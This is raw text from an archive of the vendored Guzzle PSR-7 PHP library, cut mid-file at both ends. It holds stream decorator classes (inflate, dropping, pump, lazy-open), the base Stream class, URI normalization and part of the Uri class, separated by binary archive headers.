 * then appends the zlib.inflate filter. The stream is then converted back
 * to a Guzzle stream resource to be used as a Guzzle stream.
 *
 * @see https://datatracker.ietf.org/doc/html/rfc1950
 * @see https://datatracker.ietf.org/doc/html/rfc1952
 * @see https://www.php.net/manual/en/filters.compression.php
 */
final class InflateStream implements StreamInterface
{
    use StreamDecoratorTrait;

    /** @var StreamInterface */
    private $stream;

    public function __construct(StreamInterface $stream)
    {
        $resource = StreamWrapper::getResource($stream);
        // Specify window=15+32, so zlib will use header detection to both gzip (with header) and zlib data
        // See https://www.zlib.net/manual.html#Advanced definition of inflateInit2
        // "Add 32 to windowBits to enable zlib and gzip decoding with automatic header detection"
        // Default window size is 15.
        stream_filter_append($resource, 'zlib.inflate', STREAM_FILTER_READ, ['window' => 15 + 32]);
        $this->stream = $stream->isSeekable() ? new Stream($resource) : new NoSeekStream(new Stream($resource));
    }
}
PK
h�\q:
t��-vendor/guzzlehttp/psr7/src/DroppingStream.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Stream decorator that begins dropping data once the size of the underlying
 * stream becomes too full.
 */
final class DroppingStream implements StreamInterface
{
    use StreamDecoratorTrait;

    /** @var int */
    private $maxLength;

    /** @var StreamInterface */
    private $stream;

    /**
     * @param StreamInterface $stream    Underlying stream to decorate.
     * @param int             $maxLength Maximum size before dropping data.
     */
    public function __construct(StreamInterface $stream, int $maxLength)
    {
        $this->stream = $stream;
        $this->maxLength = $maxLength;
    }

    public function write($string): int
    {
        $diff = $this->maxLength - $this->stream->getSize();

        // Begin returning 0 when the underlying stream is too large.
        if ($diff <= 0) {
            return 0;
        }

        // Write the stream or a subset of the stream if needed.
        if (strlen($string) < $diff) {
            return $this->stream->write($string);
        }

        return $this->stream->write(substr($string, 0, $diff));
    }
}
PK
h�\�=����)vendor/guzzlehttp/psr7/src/PumpStream.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Provides a read only stream that pumps data from a PHP callable.
 *
 * When invoking the provided callable, the PumpStream will pass the amount of
 * data requested to read to the callable. The callable can choose to ignore
 * this value and return fewer or more bytes than requested. Any extra data
 * returned by the provided callable is buffered internally until drained using
 * the read() function of the PumpStream. The provided callable MUST return
 * false when there is no more data to read.
 */
final class PumpStream implements StreamInterface
{
    /** @var callable(int): (string|false|null)|null */
    private $source;

    /** @var int|null */
    private $size;

    /** @var int */
    private $tellPos = 0;

    /** @var array */
    private $metadata;

    /** @var BufferStream */
    private $buffer;

    /**
     * @param callable(int): (string|false|null)  $source  Source of the stream data. The callable MAY
     *                                                     accept an integer argument used to control the
     *                                                     amount of data to return. The callable MUST
     *                                                     return a string when called, or false|null on error
     *                                                     or EOF.
     * @param array{size?: int, metadata?: array} $options Stream options:
     *                                                     - metadata: Hash of metadata to use with stream.
     *                                                     - size: Size of the stream, if known.
     */
    public function __construct(callable $source, array $options = [])
    {
        $this->source = $source;
        $this->size = $options['size'] ?? null;
        $this->metadata = $options['metadata'] ?? [];
        $this->buffer = new BufferStream();
    }

    public function __toString(): string
    {
        try {
            return Utils::copyToString($this);
        } catch (\Throwable $e) {
            if (\PHP_VERSION_ID >= 70400) {
                throw $e;
            }
            trigger_error(sprintf('%s::__toString exception: %s', self::class, (string) $e), E_USER_ERROR);

            return '';
        }
    }

    public function close(): void
    {
        $this->detach();
    }

    public function detach()
    {
        $this->tellPos = 0;
        $this->source = null;

        return null;
    }

    public function getSize(): ?int
    {
        return $this->size;
    }

    public function tell(): int
    {
        return $this->tellPos;
    }

    public function eof(): bool
    {
        return $this->source === null;
    }

    public function isSeekable(): bool
    {
        return false;
    }

    public function rewind(): void
    {
        $this->seek(0);
    }

    public function seek($offset, $whence = SEEK_SET): void
    {
        throw new \RuntimeException('Cannot seek a PumpStream');
    }

    public function isWritable(): bool
    {
        return false;
    }

    public function write($string): int
    {
        throw new \RuntimeException('Cannot write to a PumpStream');
    }

    public function isReadable(): bool
    {
        return true;
    }

    public function read($length): string
    {
        $data = $this->buffer->read($length);
        $readLen = strlen($data);
        $this->tellPos += $readLen;
        $remaining = $length - $readLen;

        if ($remaining) {
            $this->pump($remaining);
            $data .= $this->buffer->read($remaining);
            $this->tellPos += strlen($data) - $readLen;
        }

        return $data;
    }

    public function getContents(): string
    {
        $result = '';
        while (!$this->eof()) {
            $result .= $this->read(1000000);
        }

        return $result;
    }

    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        if (!$key) {
            return $this->metadata;
        }

        return $this->metadata[$key] ?? null;
    }

    private function pump(int $length): void
    {
        if ($this->source !== null) {
            do {
                $data = ($this->source)($length);
                if ($data === false || $data === null) {
                    $this->source = null;

                    return;
                }
                $this->buffer->write($data);
                $length -= strlen($data);
            } while ($length > 0);
        }
    }
}
PK
h�\��u@@-vendor/guzzlehttp/psr7/src/LazyOpenStream.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Lazily reads or writes to a file that is opened only after an IO operation
 * take place on the stream.
 */
final class LazyOpenStream implements StreamInterface
{
    use StreamDecoratorTrait;

    /** @var string */
    private $filename;

    /** @var string */
    private $mode;

    /**
     * @var StreamInterface
     */
    private $stream;

    /**
     * @param string $filename File to lazily open
     * @param string $mode     fopen mode to use when opening the stream
     */
    public function __construct(string $filename, string $mode)
    {
        $this->filename = $filename;
        $this->mode = $mode;

        // unsetting the property forces the first access to go through
        // __get().
        unset($this->stream);
    }

    /**
     * Creates the underlying stream lazily when required.
     */
    protected function createStream(): StreamInterface
    {
        return Utils::streamFor(Utils::tryFopen($this->filename, $this->mode));
    }
}
PK
h�\j�g��3vendor/guzzlehttp/psr7/src/StreamDecoratorTrait.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Stream decorator trait
 *
 * @property StreamInterface $stream
 */
trait StreamDecoratorTrait
{
    /**
     * @param StreamInterface $stream Stream to decorate
     */
    public function __construct(StreamInterface $stream)
    {
        $this->stream = $stream;
    }

    /**
     * Magic method used to create a new stream if streams are not added in
     * the constructor of a decorator (e.g., LazyOpenStream).
     *
     * @return StreamInterface
     */
    public function __get(string $name)
    {
        if ($name === 'stream') {
            $this->stream = $this->createStream();

            return $this->stream;
        }

        throw new \UnexpectedValueException("$name not found on class");
    }

    public function __toString(): string
    {
        try {
            if ($this->isSeekable()) {
                $this->seek(0);
            }

            return $this->getContents();
        } catch (\Throwable $e) {
            if (\PHP_VERSION_ID >= 70400) {
                throw $e;
            }
            trigger_error(sprintf('%s::__toString exception: %s', self::class, (string) $e), E_USER_ERROR);

            return '';
        }
    }

    public function getContents(): string
    {
        return Utils::copyToString($this);
    }

    /**
     * Allow decorators to implement custom methods
     *
     * @return mixed
     */
    public function __call(string $method, array $args)
    {
        /** @var callable $callable */
        $callable = [$this->stream, $method];
        $result = ($callable)(...$args);

        // Always return the wrapped object if the result is a return $this
        return $result === $this->stream ? $this : $result;
    }

    public function close(): void
    {
        $this->stream->close();
    }

    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        return $this->stream->getMetadata($key);
    }

    public function detach()
    {
        return $this->stream->detach();
    }

    public function getSize(): ?int
    {
        return $this->stream->getSize();
    }

    public function eof(): bool
    {
        return $this->stream->eof();
    }

    public function tell(): int
    {
        return $this->stream->tell();
    }

    public function isReadable(): bool
    {
        return $this->stream->isReadable();
    }

    public function isWritable(): bool
    {
        return $this->stream->isWritable();
    }

    public function isSeekable(): bool
    {
        return $this->stream->isSeekable();
    }

    public function rewind(): void
    {
        $this->seek(0);
    }

    public function seek($offset, $whence = SEEK_SET): void
    {
        $this->stream->seek($offset, $whence);
    }

    public function read($length): string
    {
        return $this->stream->read($length);
    }

    public function write($string): int
    {
        return $this->stream->write($string);
    }

    /**
     * Implement in subclasses to dynamically create streams when requested.
     *
     * @throws \BadMethodCallException
     */
    protected function createStream(): StreamInterface
    {
        throw new \BadMethodCallException('Not implemented');
    }
}
PK
h�\����!!,vendor/guzzlehttp/psr7/src/UriNormalizer.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\UriInterface;

/**
 * Provides methods to normalize and compare URIs.
 *
 * @author Tobias Schultze
 *
 * @see https://datatracker.ietf.org/doc/html/rfc3986#section-6
 */
final class UriNormalizer
{
    /**
     * Default normalizations which only include the ones that preserve semantics.
     */
    public const PRESERVING_NORMALIZATIONS =
        self::CAPITALIZE_PERCENT_ENCODING |
        self::DECODE_UNRESERVED_CHARACTERS |
        self::CONVERT_EMPTY_PATH |
        self::REMOVE_DEFAULT_HOST |
        self::REMOVE_DEFAULT_PORT |
        self::REMOVE_DOT_SEGMENTS;

    /**
     * All letters within a percent-encoding triplet (e.g., "%3A") are case-insensitive, and should be capitalized.
     *
     * Example: http://example.org/a%c2%b1b → http://example.org/a%C2%B1b
     */
    public const CAPITALIZE_PERCENT_ENCODING = 1;

    /**
     * Decodes percent-encoded octets of unreserved characters.
     *
     * For consistency, percent-encoded octets in the ranges of ALPHA (%41–%5A and %61–%7A), DIGIT (%30–%39),
     * hyphen (%2D), period (%2E), underscore (%5F), or tilde (%7E) should not be created by URI producers and,
     * when found in a URI, should be decoded to their corresponding unreserved characters by URI normalizers.
     *
     * Example: http://example.org/%7Eusern%61me/ → http://example.org/~username/
     */
    public const DECODE_UNRESERVED_CHARACTERS = 2;

    /**
     * Converts the empty path to "/" for http and https URIs.
     *
     * Example: http://example.org → http://example.org/
     */
    public const CONVERT_EMPTY_PATH = 4;

    /**
     * Removes the default host of the given URI scheme from the URI.
     *
     * Only the "file" scheme defines the default host "localhost".
     * All of `file:/myfile`, `file:///myfile`, and `file://localhost/myfile`
     * are equivalent according to RFC 3986. The first format is not accepted
     * by PHPs stream functions and thus already normalized implicitly to the
     * second format in the Uri class. See `GuzzleHttp\Psr7\Uri::composeComponents`.
     *
     * Example: file://localhost/myfile → file:///myfile
     */
    public const REMOVE_DEFAULT_HOST = 8;

    /**
     * Removes the default port of the given URI scheme from the URI.
     *
     * Example: http://example.org:80/ → http://example.org/
     */
    public const REMOVE_DEFAULT_PORT = 16;

    /**
     * Removes unnecessary dot-segments.
     *
     * Dot-segments in relative-path references are not removed as it would
     * change the semantics of the URI reference.
     *
     * Example: http://example.org/../a/b/../c/./d.html → http://example.org/a/c/d.html
     */
    public const REMOVE_DOT_SEGMENTS = 32;

    /**
     * Paths which include two or more adjacent slashes are converted to one.
     *
     * Webservers usually ignore duplicate slashes and treat those URIs equivalent.
     * But in theory those URIs do not need to be equivalent. So this normalization
     * may change the semantics. Encoded slashes (%2F) are not removed.
     *
     * Example: http://example.org//foo///bar.html → http://example.org/foo/bar.html
     */
    public const REMOVE_DUPLICATE_SLASHES = 64;

    /**
     * Sort query parameters with their values in alphabetical order.
     *
     * However, the order of parameters in a URI may be significant (this is not defined by the standard).
     * So this normalization is not safe and may change the semantics of the URI.
     *
     * Example: ?lang=en&article=fred → ?article=fred&lang=en
     *
     * Note: The sorting is neither locale nor Unicode aware (the URI query does not get decoded at all) as the
     * purpose is to be able to compare URIs in a reproducible way, not to have the params sorted perfectly.
     */
    public const SORT_QUERY_PARAMETERS = 128;

    /**
     * Returns a normalized URI.
     *
     * The scheme and host component are already normalized to lowercase per PSR-7 UriInterface.
     * This methods adds additional normalizations that can be configured with the $flags parameter.
     *
     * PSR-7 UriInterface cannot distinguish between an empty component and a missing component as
     * getQuery(), getFragment() etc. always return a string. This means the URIs "/?#" and "/" are
     * treated equivalent which is not necessarily true according to RFC 3986. But that difference
     * is highly uncommon in reality. So this potential normalization is implied in PSR-7 as well.
     *
     * @param UriInterface $uri   The URI to normalize
     * @param int          $flags A bitmask of normalizations to apply, see constants
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-6.2
     */
    public static function normalize(UriInterface $uri, int $flags = self::PRESERVING_NORMALIZATIONS): UriInterface
    {
        if ($flags & self::CAPITALIZE_PERCENT_ENCODING) {
            $uri = self::capitalizePercentEncoding($uri);
        }

        if ($flags & self::DECODE_UNRESERVED_CHARACTERS) {
            $uri = self::decodeUnreservedCharacters($uri);
        }

        if ($flags & self::CONVERT_EMPTY_PATH && $uri->getPath() === ''
            && ($uri->getScheme() === 'http' || $uri->getScheme() === 'https')
        ) {
            $uri = $uri->withPath('/');
        }

        if ($flags & self::REMOVE_DEFAULT_HOST && $uri->getScheme() === 'file' && $uri->getHost() === 'localhost') {
            $uri = $uri->withHost('');
        }

        if ($flags & self::REMOVE_DEFAULT_PORT && $uri->getPort() !== null && Uri::isDefaultPort($uri)) {
            $uri = $uri->withPort(null);
        }

        if ($flags & self::REMOVE_DOT_SEGMENTS && !Uri::isRelativePathReference($uri)) {
            $uri = $uri->withPath(UriResolver::removeDotSegments($uri->getPath()));
        }

        if ($flags & self::REMOVE_DUPLICATE_SLASHES) {
            $uri = $uri->withPath(preg_replace('#//++#', '/', $uri->getPath()));
        }

        if ($flags & self::SORT_QUERY_PARAMETERS && $uri->getQuery() !== '') {
            $queryKeyValues = explode('&', $uri->getQuery());
            sort($queryKeyValues);
            $uri = $uri->withQuery(implode('&', $queryKeyValues));
        }

        return $uri;
    }

    /**
     * Whether two URIs can be considered equivalent.
     *
     * Both URIs are normalized automatically before comparison with the given $normalizations bitmask. The method also
     * accepts relative URI references and returns true when they are equivalent. This of course assumes they will be
     * resolved against the same base URI. If this is not the case, determination of equivalence or difference of
     * relative references does not mean anything.
     *
     * @param UriInterface $uri1           An URI to compare
     * @param UriInterface $uri2           An URI to compare
     * @param int          $normalizations A bitmask of normalizations to apply, see constants
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-6.1
     */
    public static function isEquivalent(UriInterface $uri1, UriInterface $uri2, int $normalizations = self::PRESERVING_NORMALIZATIONS): bool
    {
        return (string) self::normalize($uri1, $normalizations) === (string) self::normalize($uri2, $normalizations);
    }

    private static function capitalizePercentEncoding(UriInterface $uri): UriInterface
    {
        $regex = '/(?:%[A-Fa-f0-9]{2})++/';

        $callback = function (array $match): string {
            return strtoupper($match[0]);
        };

        return
            $uri->withPath(
                preg_replace_callback($regex, $callback, $uri->getPath())
            )->withQuery(
                preg_replace_callback($regex, $callback, $uri->getQuery())
            );
    }

    private static function decodeUnreservedCharacters(UriInterface $uri): UriInterface
    {
        $regex = '/%(?:2D|2E|5F|7E|3[0-9]|[46][1-9A-F]|[57][0-9A])/i';

        $callback = function (array $match): string {
            return rawurldecode($match[0]);
        };

        return
            $uri->withPath(
                preg_replace_callback($regex, $callback, $uri->getPath())
            )->withQuery(
                preg_replace_callback($regex, $callback, $uri->getQuery())
            );
    }

    private function __construct()
    {
        // cannot be instantiated
    }
}
PK
h�\z����%vendor/guzzlehttp/psr7/src/Stream.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * PHP stream implementation.
 */
class Stream implements StreamInterface
{
    /**
     * @see https://www.php.net/manual/en/function.fopen.php
     * @see https://www.php.net/manual/en/function.gzopen.php
     */
    private const READABLE_MODES = '/r|a\+|ab\+|w\+|wb\+|x\+|xb\+|c\+|cb\+/';
    private const WRITABLE_MODES = '/a|w|r\+|rb\+|rw|x|c/';

    /** @var resource */
    private $stream;
    /** @var int|null */
    private $size;
    /** @var bool */
    private $seekable;
    /** @var bool */
    private $readable;
    /** @var bool */
    private $writable;
    /** @var string|null */
    private $uri;
    /** @var mixed[] */
    private $customMetadata;

    /**
     * This constructor accepts an associative array of options.
     *
     * - size: (int) If a read stream would otherwise have an indeterminate
     *   size, but the size is known due to foreknowledge, then you can
     *   provide that size, in bytes.
     * - metadata: (array) Any additional metadata to return when the metadata
     *   of the stream is accessed.
     *
     * @param resource                            $stream  Stream resource to wrap.
     * @param array{size?: int, metadata?: array} $options Associative array of options.
     *
     * @throws \InvalidArgumentException if the stream is not a stream resource
     */
    public function __construct($stream, array $options = [])
    {
        if (!is_resource($stream)) {
            throw new \InvalidArgumentException('Stream must be a resource');
        }

        if (isset($options['size'])) {
            $this->size = $options['size'];
        }

        $this->customMetadata = $options['metadata'] ?? [];
        $this->stream = $stream;
        $meta = stream_get_meta_data($this->stream);
        $this->seekable = $meta['seekable'];
        $this->readable = (bool) preg_match(self::READABLE_MODES, $meta['mode']);
        $this->writable = (bool) preg_match(self::WRITABLE_MODES, $meta['mode']);
        $this->uri = $this->getMetadata('uri');
    }

    /**
     * Closes the stream when the destructed
     */
    public function __destruct()
    {
        $this->close();
    }

    public function __toString(): string
    {
        try {
            if ($this->isSeekable()) {
                $this->seek(0);
            }

            return $this->getContents();
        } catch (\Throwable $e) {
            if (\PHP_VERSION_ID >= 70400) {
                throw $e;
            }
            trigger_error(sprintf('%s::__toString exception: %s', self::class, (string) $e), E_USER_ERROR);

            return '';
        }
    }

    public function getContents(): string
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }

        if (!$this->readable) {
            throw new \RuntimeException('Cannot read from non-readable stream');
        }

        return Utils::tryGetContents($this->stream);
    }

    public function close(): void
    {
        if (isset($this->stream)) {
            if (is_resource($this->stream)) {
                fclose($this->stream);
            }
            $this->detach();
        }
    }

    public function detach()
    {
        if (!isset($this->stream)) {
            return null;
        }

        $result = $this->stream;
        unset($this->stream);
        $this->size = $this->uri = null;
        $this->readable = $this->writable = $this->seekable = false;

        return $result;
    }

    public function getSize(): ?int
    {
        if ($this->size !== null) {
            return $this->size;
        }

        if (!isset($this->stream)) {
            return null;
        }

        // Clear the stat cache if the stream has a URI
        if ($this->uri) {
            clearstatcache(true, $this->uri);
        }

        $stats = fstat($this->stream);
        if (is_array($stats) && isset($stats['size'])) {
            $this->size = $stats['size'];

            return $this->size;
        }

        return null;
    }

    public function isReadable(): bool
    {
        return $this->readable;
    }

    public function isWritable(): bool
    {
        return $this->writable;
    }

    public function isSeekable(): bool
    {
        return $this->seekable;
    }

    public function eof(): bool
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }

        return feof($this->stream);
    }

    public function tell(): int
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }

        $result = ftell($this->stream);

        if ($result === false) {
            throw new \RuntimeException('Unable to determine stream position');
        }

        return $result;
    }

    public function rewind(): void
    {
        $this->seek(0);
    }

    public function seek($offset, $whence = SEEK_SET): void
    {
        $whence = (int) $whence;

        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        if (!$this->seekable) {
            throw new \RuntimeException('Stream is not seekable');
        }
        if (fseek($this->stream, $offset, $whence) === -1) {
            throw new \RuntimeException('Unable to seek to stream position '
                .$offset.' with whence '.var_export($whence, true));
        }
    }

    public function read($length): string
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        if (!$this->readable) {
            throw new \RuntimeException('Cannot read from non-readable stream');
        }
        if ($length < 0) {
            throw new \RuntimeException('Length parameter cannot be negative');
        }

        if (0 === $length) {
            return '';
        }

        try {
            $string = fread($this->stream, $length);
        } catch (\Exception $e) {
            throw new \RuntimeException('Unable to read from stream', 0, $e);
        }

        if (false === $string) {
            throw new \RuntimeException('Unable to read from stream');
        }

        return $string;
    }

    public function write($string): int
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        if (!$this->writable) {
            throw new \RuntimeException('Cannot write to a non-writable stream');
        }

        // We can't know the size after writing anything
        $this->size = null;
        $result = fwrite($this->stream, $string);

        if ($result === false) {
            throw new \RuntimeException('Unable to write to stream');
        }

        return $result;
    }

    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        if (!isset($this->stream)) {
            return $key ? null : [];
        } elseif (!$key) {
            return $this->customMetadata + stream_get_meta_data($this->stream);
        } elseif (isset($this->customMetadata[$key])) {
            return $this->customMetadata[$key];
        }

        $meta = stream_get_meta_data($this->stream);

        return $meta[$key] ?? null;
    }
}
PK
h�\�u��U�U"vendor/guzzlehttp/psr7/src/Uri.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use GuzzleHttp\Psr7\Exception\MalformedUriException;
use Psr\Http\Message\UriInterface;

/**
 * PSR-7 URI implementation.
 *
 * @author Michael Dowling
 * @author Tobias Schultze
 * @author Matthew Weier O'Phinney
 */
class Uri implements UriInterface, \JsonSerializable
{
    /**
     * Absolute http and https URIs require a host per RFC 7230 Section 2.7
     * but in generic URIs the host can be empty. So for http(s) URIs
     * we apply this default host when no host is given yet to form a
     * valid URI.
     */
    private const HTTP_DEFAULT_HOST = 'localhost';

    private const DEFAULT_PORTS = [
        'http' => 80,
        'https' => 443,
        'ftp' => 21,
        'gopher' => 70,
        'nntp' => 119,
        'news' => 119,
        'telnet' => 23,
        'tn3270' => 23,
        'imap' => 143,
        'pop' => 110,
        'ldap' => 389,
    ];

    /**
     * Unreserved characters for use in a regex.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-2.3
     */
    private const CHAR_UNRESERVED = 'a-zA-Z0-9_\-\.~';

    /**
     * Sub-delims for use in a regex.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-2.2
     */
    private const CHAR_SUB_DELIMS = '!\$&\'\(\)\*\+,;=';
    private const QUERY_SEPARATORS_REPLACEMENT = ['=' => '%3D', '&' => '%26'];

    /** @var string Uri scheme. */
    private $scheme = '';

    /** @var string Uri user info. */
    private $userInfo = '';

    /** @var string Uri host. */
    private $host = '';

    /** @var int|null Uri port. */
    private $port;

    /** @var string Uri path. */
    private $path = '';

    /** @var string Uri query string. */
    private $query = '';

    /** @var string Uri fragment. */
    private $fragment = '';

    /** @var string|null String representation */
    private $composedComponents;

    public function __construct(string $uri = '')
    {
        if ($uri !== '') {
            $parts = self::parse($uri);
            if ($parts === false) {
                throw new MalformedUriException("Unable to parse URI: $uri");
            }
            $this->applyParts($parts);
        }
    }

    /**
     * UTF-8 aware \parse_url() replacement.
     *
     * The internal function produces broken output for non ASCII domain names
     * (IDN) when used with locales other than "C".
     *
     * On the other hand, cURL understands IDN correctly only when UTF-8 locale
     * is configured ("C.UTF-8", "en_US.UTF-8", etc.).
     *
     * @see https://bugs.php.net/bug.php?id=52923
     * @see https://www.php.net/manual/en/function.parse-url.php#114817
     * @see https://curl.haxx.se/libcurl/c/CURLOPT_URL.html#ENCODING
     *
     * @return array|false
     */
    private static function parse(string $url)
    {
        // If IPv6
        $prefix = '';
        if (preg_match('%^(.*://\[[0-9:a-f]+\])(.*?)$%', $url, $matches)) {
            /** @var array{0:string, 1:string, 2:string} $matches */
            $prefix = $matches[1];
            $url = $matches[2];
        }

        /** @var string */
        $encodedUrl = preg_replace_callback(
            '%[^:/@?&=#]+%usD',
            static function ($matches) {
                return urlencode($matches[0]);
            },
            $url
        );

        $result = parse_url($prefix.$encodedUrl);

        if ($result === false) {
            return false;
        }

        return array_map('urldecode', $result);
    }

    public function __toString(): string
    {
        if ($this->composedComponents === null) {
            $this->composedComponents = self::composeComponents(
                $this->scheme,
                $this->getAuthority(),
                $this->path,
                $this->query,
                $this->fragment
            );
        }

        return $this->composedComponents;
    }

    /**
     * Composes a URI reference string from its various components.
     *
     * Usually this method does not need to be called manually but instead is used indirectly via
     * `Psr\Http\Message\UriInterface::__toString`.
     *
     * PSR-7 UriInterface treats an empty component the same as a missing component as
     * getQuery(), getFragment() etc. always return a string. This explains the slight
     * difference to RFC 3986 Section 5.3.
     *
     * Another adjustment is that the authority separator is added even when the authority is missing/empty
     * for the "file" scheme. This is because PHP stream functions like `file_get_contents` only work with
     * `file:///myfile` but not with `file:/myfile` although they are equivalent according to RFC 3986. But
     * `file:///` is the more common syntax for the file scheme anyway (Chrome for example redirects to
     * that format).
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-5.3
     */
    public static function composeComponents(?string $scheme, ?string $authority, string $path, ?string $query, ?string $fragment): string
    {
        $uri = '';

        // weak type checks to also accept null until we can add scalar type hints
        if ($scheme != '') {
            $uri .= $scheme.':';
        }

        if ($authority != '' || $scheme === 'file') {
            $uri .= '//'.$authority;
        }

        if ($authority != '' && $path != '' && $path[0] != '/') {
            $path = '/'.$path;
        }

        $uri .= $path;

        if ($query != '') {
            $uri .= '?'.$query;
        }

        if ($fragment != '') {
            $uri .= '#'.$fragment;
        }

        return $uri;
    }

    /**
     * Whether the URI has the default port of the current scheme.
     *
     * `Psr\Http\Message\UriInterface::getPort` may return null or the standard port. This method can be used
     * independently of the implementation.
     */
    public static function isDefaultPort(UriInterface $uri): bool
    {
        return $uri->getPort() === null
            || (isset(self::DEFAULT_PORTS[$uri->getScheme()]) && $uri->getPort() === self::DEFAULT_PORTS[$uri->getScheme()]);
    }

    /**
     * Whether the URI is absolute, i.e. it has a scheme.
     *
     * An instance of UriInterface can either be an absolute URI or a relative reference. This method returns true
     * if it is the former. An absolute URI has a scheme. A relative reference is used to express a URI relative
     * to another URI, the base URI. Relative references can be divided into several forms:
     * - network-path references, e.g. '//example.com/path'
     * - absolute-path references, e.g. '/path'
     * - relative-path references, e.g. 'subpath'
     *
     * @see Uri::isNetworkPathReference
     * @see Uri::isAbsolutePathReference
     * @see Uri::isRelativePathReference
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4
     */
    public static function isAbsolute(UriInterface $uri): bool
    {
        return $uri->getScheme() !== '';
    }

    /**
     * Whether the URI is a network-path reference.
     *
     * A relative reference that begins with two slash characters is termed an network-path reference.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4.2
     */
    public static function isNetworkPathReference(UriInterface $uri): bool
    {
        return $uri->getScheme() === '' && $uri->getAuthority() !== '';
    }

    /**
     * Whether the URI is a absolute-path reference.
     *
     * A relative reference that begins with a single slash character is termed an absolute-path reference.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4.2
     */
    public static function isAbsolutePathReference(UriInterface $uri): bool
    {
        return $uri->getScheme() === ''
            && $uri->getAuthority() === ''
            && isset($uri->getPath()[0])
            && $uri->getPath()[0] === '/';
    }

    /**
     * Whether the URI is a relative-path reference.
     *
     * A relative reference that does not begin with a slash character is termed a relative-path reference.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4.2
     */
    public static function isRelativePathReference(UriInterface $uri): bool
    {
        return $uri->getScheme() === ''
            && $uri->getAuthority() === ''
            && (!isset($uri->getPath()[0]) || $uri->getPath()[0] !== '/');
    }

    /**
     * Whether the URI is a same-document reference.
     *
     * A same-document reference refers to a URI that is, aside from its fragment
     * component, identical to the base URI. When no base URI is given, only an empty
     * URI reference (apart from its fragment) is considered a same-document reference.
     *
     * @param UriInterface      $uri  The URI to check
     * @param UriInterface|null $base An optional base URI to compare against
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-4.4
     */
    public static function isSameDocumentReference(UriInterface $uri, UriInterface $base = null): bool
    {
        if ($base !== null) {
            $uri = UriResolver::resolve($base, $uri);

            return ($uri->getScheme() === $base->getScheme())
                && ($uri->getAuthority() === $base->getAuthority())
                && ($uri->getPath() === $base->getPath())
                && ($uri->getQuery() === $base->getQuery());
        }

        return $uri->getScheme() === '' && $uri->getAuthority() === '' && $uri->getPath() === '' && $uri->getQuery() === '';
    }

    /**
     * Creates a new URI with a specific query string value removed.
     *
     * Any existing query string values that exactly match the provided key are
     * removed.
     *
     * @param UriInterface $uri URI to use as a base.
     * @param string       $key Query string key to remove.
     */
    public static function withoutQueryValue(UriInterface $uri, string $key): UriInterface
    {
        $result = self::getFilteredQueryString($uri, [$key]);

        return $uri->withQuery(implode('&', $result));
    }

    /**
     * Creates a new URI with a specific query string value.
     *
     * Any existing query string values that exactly match the provided key are
     * removed and replaced with the given key value pair.
     *
     * A value of null will set the query string key without a value, e.g. "key"
     * instead of "key=value".
     *
     * @param UriInterface $uri   URI to use as a base.
     * @param string       $key   Key to set.
     * @param string|null  $value Value to set
     */
    public static function withQueryValue(UriInterface $uri, string $key, ?string $value): UriInterface
    {
        $result = self::getFilteredQueryString($uri, [$key]);

        $result[] = self::generateQueryString($key, $value);

        return $uri->withQuery(implode('&', $result));
    }

    /**
     * Creates a new URI with multiple specific query string values.
     *
     * It has the same behavior as withQueryValue() but for an associative array of key => value.
     *
     * @param UriInterface    $uri           URI to use as a base.
     * @param (string|null)[] $keyValueArray Associative array of key and values
     */
    public static function withQueryValues(UriInterface $uri, array $keyValueArray): UriInterface
    {
        $result = self::getFilteredQueryString($uri, array_keys($keyValueArray));

        foreach ($keyValueArray as $key => $value) {
            $result[] = self::generateQueryString((string) $key, $value !== null ? (string) $value : null);
        }

        return $uri->withQuery(implode('&', $result));
    }

    /**
     * Creates a URI from a hash of `parse_url` components.
     *
     * @see https://www.php.net/manual/en/function.parse-url.php
     *
     * @throws MalformedUriException If the components do not form a valid URI.
     */
    public static function fromParts(array $parts): UriInterface
    {
        $uri = new self();
        $uri->applyParts($parts);
        $uri->validateState();

        return $uri;
    }

    public function getScheme(): string
    {
        return $this->scheme;
    }

    public function getAuthority(): string
    {
        $authority = $this->host;
        if ($this->userInfo !== '') {
            $authority = $this->userInfo.'@'.$authority;
        }

        if ($this->port !== null) {
            $authority .= ':'.$this->port;
        }

        return $authority;
    }

    public function getUserInfo(): string
    {
        return $this->userInfo;
    }

    public function getHost(): string
    {
        return $this->host;
    }

    public function getPort(): ?int
    {
        return $this->port;
    }

    public function getPath(): string
    {
        return $this->path;
    }

    public function getQuery(): string
    {
        return $this->query;
    }

    public function getFragment(): string
    {
        return $this->fragment;
    }

    public function withScheme($scheme): UriInterface
    {
        $scheme = $this->filterScheme($scheme);

        if ($this->scheme === $scheme) {
            return $this;
        }

